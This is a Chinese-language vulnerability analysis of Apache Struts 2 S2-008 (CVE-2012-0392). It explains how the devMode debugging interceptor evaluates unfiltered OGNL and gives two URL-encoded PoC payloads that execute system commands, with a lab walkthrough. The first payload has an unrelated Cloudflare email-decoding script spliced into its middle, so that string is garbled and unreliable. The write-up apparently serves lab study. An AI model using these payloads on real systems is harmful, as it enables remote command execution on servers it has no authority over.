0x00 漏洞概述
编号为CVE-2012-0392。
即S2-008,实际上是多个漏洞的集合。
- Cookie投毒:Cookie拦截器的错误配置可能导致OGNL表达式执行。但实际上大多Web容器(如Tomcat)对Cookie名称都有字符限制,使一些关键字符失效,此处漏洞利用显得鸡肋。
- devMode:Struts 2开启devMode模式后会暴露多个调试接口,可以直接查看对象信息或者执行命令。但也很鸡肋,生产环境碰不到devMode。
影响版本:Struts 2.1.0 - Struts 2.3.1。
0x01 漏洞源码
参数类型转换、拦截器机制是Struts 2的MVC核心机制。“拦截器”并不是简单的阻断、拒绝,而是具备输入检查、转换机制的框架。OGNL表达式就是输入的载体,借助OGNL表达式,Struts 2将用户输入转换为Action中对应的属性。漏洞就出现在这些拦截器上,Struts 2有几个原生拦截器在解析OGNL表达式时存在漏洞,方便了RCE。
Struts 2存在一个devMode,方便开发时调试程序,但默认不开启(所以鸡肋)。
<constant name="struts.devMode" value="true" />
devMode依赖于Struts 2的struts2-core.jar中的DebuggingInterceptor.java实现,也就是漏洞所在地。
在struts2-core-2.2.3.jar!\org\apache\struts2\interceptor\debugging\DebuggingInterceptor.class中可见:
攻击者可以使用devMode的任意一种模式,借助OGNL完成攻击。
向下查看intercept()
方法的实现:
其中的这个try
非常危险,未做过滤而直接使用stack.findValue()
处理变量cmd
,而findValue()
能够执行OGNL。
0x02 PoC
?debug=command&expression= %23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue%29%2c%23a%3d@java.lang.Runtime/* <![CDATA[ */!function(){try{var t="currentScript"in document?document.currentScript:function(){for(var t=document.getElementsByTagName("script"),e=t.length;e--;)if(t[e].getAttribute("cf-hash"))return t[e]}();if(t&&t.previousSibling){var e,r,n,i,c=t.previousSibling,a=c.getAttribute("data-cfemail");if(a){for(e="",r=parseInt(a.substr(0,2),16),n=2;a.length-n;n+=2)i=parseInt(a.substr(n,2),16)^r,e+=String.fromCharCode(i);e=document.createTextNode(e),c.parentNode.replaceChild(e,c)}}}catch(u){}}();/* ]]> */@getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2c%23b%3dnew java.io.InputStreamReader%28%23a%29%2c%23c%3dnew java.io.BufferedReader%28%23b%29%2c%23d%3dnew char%5b50000%5d%2c%23c.read%28%23d%29%2c%23genxor%3d%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2c%23genxor.println%28%23d%29%2c%23genxor.flush%28%29%2c%23genxor.close%28%29
调用Java反射类,以访问一些私有成员变量,绕过Struts 2限制执行静态方法的规则。
Struts 2在2.3.14.1版本之后设置了#_memberAccess["allowStaticMethodAccess"]
为不可修改,而要调用静态方法,该项必须为true
。于是使用Java的反射机制绕过限制:
#f = #_memberAccess.getClass().getDeclaredField(‘allowStaticMethodAccess‘)
#f.setAccessible(true)
#f.set(#_memberAccess, true)
0x03 利用流程
访问靶机
devMode
访问/devmode.action:
执行
使用PoC:
?debug=command&expression=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23context[%23parameters.rpsobj[0]].getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()))):xx.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=123456789&command=[命令]